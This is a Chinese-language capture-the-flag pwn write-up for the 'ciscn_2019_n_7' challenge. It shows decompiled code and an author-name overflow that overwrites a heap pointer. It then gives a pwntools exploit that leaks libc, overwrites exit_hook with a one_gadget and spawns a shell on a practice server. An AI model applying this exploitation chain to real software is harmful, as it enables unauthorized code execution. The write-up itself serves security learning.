ciscn_2019_n_7
Arch: amd64-64-little
RELRO: Full RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
FORTIFY: Enabled
64位保护全开
unsigned int INIT()
{
FILE *v0; // rbx
char v1; // al
v0 = fopen("log.txt", "r");
while ( 1 )
{
v1 = fgetc(v0);
if ( v1 == -1 )
break;
IO_putc(v1, stdout);
}
fclose(v0);
setvbuf(stdout, 0LL, 2, 0LL);
setvbuf(stdin, 0LL, 1, 0LL);
setvbuf(stderr, 0LL, 1, 0LL);
BSSPTR = malloc(0x18uLL);
return alarm(0x3Cu);
}
这里申请了一个chunk,并且是通过BSSPTR指针指向
unsigned __int64 ADD()
{
int v0; // eax
_QWORD *v1; // r12
char v3[8]; // [rsp+0h] [rbp-28h] BYREF
unsigned __int64 v4; // [rsp+8h] [rbp-20h]
v4 = __readfsqword(0x28u);
if ( BSSFLAG )
{
puts("Exists! Now,you can edit your article.");
}
else
{
puts("Input string Length: ");
read(0, v3, 8uLL);
v0 = strtol(v3, 0LL, 10);
if ( (unsigned __int64)v0 > 0x100 )
{
puts("Large!");
}
else
{
v1 = BSSPTR;
*BSSPTR = v0; //[0]放入size
v1[2] = malloc(v0); //[2]放入malloc chunk指针
BSSFLAG = 1;
puts("Author name:");
read(0, BSSPTR + 1, 0x10uLL); //[1]放入可写的content
puts("Now,you can edit your article.");
}
}
return __readfsqword(0x28u) ^ v4;
}
add这里是只能申请一个chunk,然后在29行结合下面的edit,有个溢出,
int EDIT()
{
if ( !BSSFLAG )
return puts("Dont't exists.");
puts("New Author name:");
read(0, BSSPTR + 1, 0x10uLL);
puts("New contents:");
read(0, (void *)BSSPTR[2], *BSSPTR);
return puts("Over.");
}
这个name是可以输入0x10字节,然后可以溢出到[2],也就是更改掉chunk B 的指针
并且给了泄露puts的libc
__int64 LIBC66666()
{
return _printf_chk(1LL, &unk_10D4, &puts);
}
思路
泄露libc求出exit_hook,然后exit_hook改成onegadget,我们退出程序就可以getshell
from pwn import*
from Yapack import *
r,elf=rec("node4.buuoj.cn",25330,"./pwn",0)
context(os='linux', arch='amd64',log_level='debug')
libc=ELF('libc-2.23.so')
sla(menu,b'666')
ru(b'0x')
leak=int(r.recv(12),16)-libc.sym['puts']
exit=leak+0x5f0040+3848#+0x626040+3848#
one=[0x45216,0x4526a,0xf02a4,0xf1147]
li(leak)
add(0x20,p64(0)+p64(exit))
edit(b'c',p64(one[3]+leak))
#debug()
sl(b'a')
ia()